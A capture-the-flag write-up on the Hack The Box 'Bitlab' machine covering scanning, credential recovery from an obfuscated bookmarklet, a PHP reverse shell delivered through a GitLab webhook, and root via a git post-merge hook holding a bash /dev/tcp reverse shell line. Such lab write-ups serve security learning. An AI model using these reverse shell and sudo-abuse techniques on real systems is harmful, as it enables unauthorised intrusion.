Logo Creator OS Difficulty Points Graph
Bitlab Logo Frey & thek Linux Medium 30 graph

Initial Scan

I identified two open ports (22 and 80) with my quick scan: nmap -F 10.10.10.114. I’ll do a script scan to get some more information.

# Nmap 7.80 scan initiated Mon Dec  2 13:52:48 2019 as: nmap -sC -sV -oN nmap/def-script -p 22,80 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec  2 13:52:57 2019 -- 1 IP address (1 host up) scanned in 8.80 seconds

This tells me it’s a Ubuntu host, and it’s running an nginx server with some interesting entries in robots.txt. Looking at the website shows a GitLab Enterprise login:

web

Website Credentials

In order to get my initial foothold, I needed to spend some time poking around, clicking all the links and reading all the information. Running gobuster just gave me 404s for most things and not much else that wasn’t already listed on the robots page. After finding the /help link, I got a dir listing with a bookmarks.html link that led here:

bookmarks

The GitLab Login link happened to be some JavaScript code that would fill a username and password into a page. This actually worked on the main login page if you saved it as a bookmark on your toolbar. However, I went the route of deobfuscating the code from this:

(function() {
    var _0x4b18 = [ "\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()

into this:

document[getElementById](user_login)[value] = "clave";
document[getElementById](user_password)[value] = "11des0081x";

I can now use these credentials to login to the site.

GitLab Exploration

Right away I noticed a snippet on Clave’s account. It has some PHP code that connects to a PostgreSQL server on localhost. I’ll save this as an interesting note for later:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

There are two projects on Clave’s profile: Deployer and Profile. On the Deployer repo, there’s a link talking about Gitlab webhooks. The index.php file in this repo listens for a POST request to the Profile repo, and if there’s a merge request it runs cd ../profile; sudo git pull. This makes a convincing argument that I should try uploading something to the Profile repo.

Getting User Access

I’ll upload a PHP reverse shell built by pentestmonkey (included by default on Kali) after changing the IP and port. I create a new file, commit the changes to a new branch, and then submit a merge request. Once I merge the new branch with master (checking “Remove source branch when merge request is accepted” to clean up), the hook should pull the new file. I’ll start my netcat listener and visit the page http://10.10.10.114/profile/rev.php to get a shell as www-data.

Upgrading to Clave

This is clearly a dockerized container, which I can see in a number of ways including running linenum.sh or linpeas.sh. Unfortunately, this means the PostgreSQL server is on another container, and the current one doesn’t have the CLI tool installed. I could set up a tunnel, but I decided to just use the PHP script I found earlier. After modifying it a bit to print what I wanted, I ran an interactive php session with php -a:

php > $db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
php > $res = pg_query("Select * from profiles");
$res = pg_query("Select * from profiles");
php > print_r(pg_fetch_all($res));
print_r(pg_fetch_all($res));
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
        )

)

Funnily enough, that password looks like it should be base64 decoded to submit, as it decodes to ssh-str0ng-p@ss. However, clave’s actual password is just the base64 string itself, so I can SSH in using creds: clave:c3NoLXN0cjBuZy1wQHNz==.

Getting Root

The intended path requires reversing a Windows executable (slightly odd) in clave’s home directory. But I’m not good at RE and there was an unintended path which got me there quicker (which even allows me to bypass getting user). Using sudo -l, I see that I can run /usr/bin/git pull with no password as www-data.

www-data@bitlab:/$ sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

Because a pull in git is really just a fetch followed by a merge, I could create my own git hook using a post-merge hook. Right now, I don’t have write access to the repo at /var/www/html/profile/.git, but I can copy it to /dev/shm/.git. Then, all I have to do is write a reverse shell in /dev/shm/.git/hooks/post-merge:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.30/443 0>&1

I make it executable and create a new merge request on the Profile repo. After starting a new listener and running the merge, I get a reverse shell as root.